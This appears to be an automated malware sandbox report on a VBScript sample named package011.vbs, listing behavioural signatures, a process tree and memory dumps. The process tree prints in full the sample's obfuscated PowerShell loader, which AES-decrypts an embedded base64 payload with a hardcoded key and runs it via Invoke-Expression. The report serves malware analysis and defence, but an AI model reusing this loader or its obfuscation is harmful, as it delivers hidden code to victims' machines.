Analysis
- max time kernel
118s - max time network
119s - platform
windows7_x64 - resource
win7-20240708-en - resource tags
- submitted
12/07/2024, 16:56
General
- Target package011.vbs
- Size 150KB
- Sample240712-vf35rssbnm
- SHA256 a8e815c5920b41708193a747a8635f3a10d5fc933b6743177b5353a01ad76717
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\package011.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI54017336715515162301463169167087CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIRVKb4AMnkcGT+1lRhDq2wGvsgxIWAbGvnAKn/KLt4ftcExS0J6PGPkyqQaBny3dqVsssrgFa+JaPcIyUhJhQXOaB/AZP4wo1wuwJ1fJM5bAu+dP//NHHKoo4LQYwoqJjzElrkfA2WmjOHFvWL5ffOYOqkyqieKwtHphpXiVovPlmhcb0S1v2ezagT2Vmks746+5Af+ygpdewM/TjYc2J8AHemy9cMo/4hrwBfp1jBWlmuXqwV9h3co0UZW0jB2dz2VZbV7ZDoKUAVBW/V3vINzl7GZvVlGcAaOXds5ExG5fwVaodCcInqFM1QQXEnjpB1tTNSugmQYYGiubBh0AMgMkHz3uXM6qIv0ggixuYCK74Zy/4zVo5/uWR4xc7I8WYOtAiUEGaVGzDMhEmCKqyokWQ34dBuQANpSwdRyhRD8OmyRroc7e65DzHz/xZp2xVjvpAf9s+ckPY41fLm71nDtpTbFFSJTdaQnBf2ATv1zPJZ6fh+fmgfgGULgO4L+ldJPmPZUEK7wMlrGaPqzzWpRMxXXSZ1MOQL68UfsjW3GzYvo0H3iocVB81r9MIiLvZX8Y0HZly/LMji9VNcU+n7ofYCBsEnXZnvmtzLxiN1Jmk6WkoLPiiJ/FsQ764Iuc/zsUDRDD9mwyrIbngZyfN4zvnDo8TaH4+JQjvHEi6qihxvdbOY1AAv/usKcWSuzvFoJVHfSDlNBhpcW1Amcnv3SDckyFR61PGwdDxtZBwHOfQYQYDGwffp/4i9pSC5BCMw0xXmbBZu+0oG7U/vdwveQVOXsd67CQBHfIhjzuZOw5YnMedohBQo5WpTwAmdw/pXaBtxLMY8XlS/3wgiEKEsNfiObdNZNF4FcWqqBcxMCM7dNBr3P7yi1z8EGs9Plxf5Y6rbRh9ytLZ0lTnzs+I3QOe8wKOkARifHeztj8fNtSPzHi0a1QONAyeZQHl6K2sYfhGZO2djiLrs2sBusjxgv1Aybwq2e/EDmJY8ujuPGYk/KxIFwlkclKozCWCN/iRjeQgcxfHRxdOibiC9UouixNm6PZLetLNaXGL5onrZ4rursfSkQGxdSFAyfTMX88eb/fBP/pfsUv+JRoM/p+ox/syG9apC2cW4zQ7VWmDX2rbidh1eApWuowRe+CZczNSZezlT02ciH0U9MTyzG5GPIXbB68wAKePzG/E/ae0IAOuc0xmtjjgMWtMk+63rlSsv8VcBPVHaofdAOWT9w4BPLj9u1uOD8I0NIex+GOYS429KoBGJ/1BMzFAf5llNPlZN2jclE2KfdQ/Q4m6c/r4yqWD5JXMw9w4dLN6WyHkifaH1Y9FDYyejX8ckzJ8WvJAVXgmmN9ip8D3qOaugY7TmUXhXm0sL/6be/YScyAGkpfEyLqalKurxcJ9ARrhQ2axllqthk732UFRnZtMMG4kKJfh15lRbGniEQNknMMo8pldrew/J8sUOJUeE3zAMZX/T1x5LrEyQ254M05a7DZL3RdtXK+w3L1WFzN4sU4xp3n7XsYE0DlbDyTz+ufNUlBo9hA/Eid5vK+cEm+618JqvKlr8dehYjfgwr3iP86K5K3O3Mo0QWnwMb/29to/5qDss0mmXGspxFn9fmTIAyq7hqMpCfmv/RUZwMG3qetlNIzb6ReZLENyvPtmeLWQOOzJd6+KM4pp/GyJ9TjB4YfixpqPD4LSZ3Eng1BBqAY8XaI4djDN8t05f8Z9BHnwBJIww9r2sUySG54n+UNhdZYetqkqNJH/bbd6D6QPiVsXgdQTUXipSGCA7W2pL/kLCf7B8PQRtmRKYasYSYwU9CoBy5zgsaBbMUzDM4HeXhwgzQSX1rR/+hu0yHHQhlHb7nfrItcI1mMzkqH0mleO5Yss8HwOwn6LnoGSacAZOgsk3+HxlKWaIPSl9o3mhbi4zAtc6/isWyXcKJIF/KGoBWCJbXspQQul0p8kBpVnLniqck6MgBIHVEEdKUIKWA+jY75yCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
paste1[1].txt
memory/2788-22-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp
memory/2788-23-0x000000001B670000-0x000000001B952000-memory.dmp
memory/2788-24-0x0000000001D90000-0x0000000001D98000-memory.dmp
memory/2788-25-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp
memory/2788-26-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp
memory/2788-27-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp
memory/2788-28-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp
memory/2788-29-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp
memory/2788-30-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp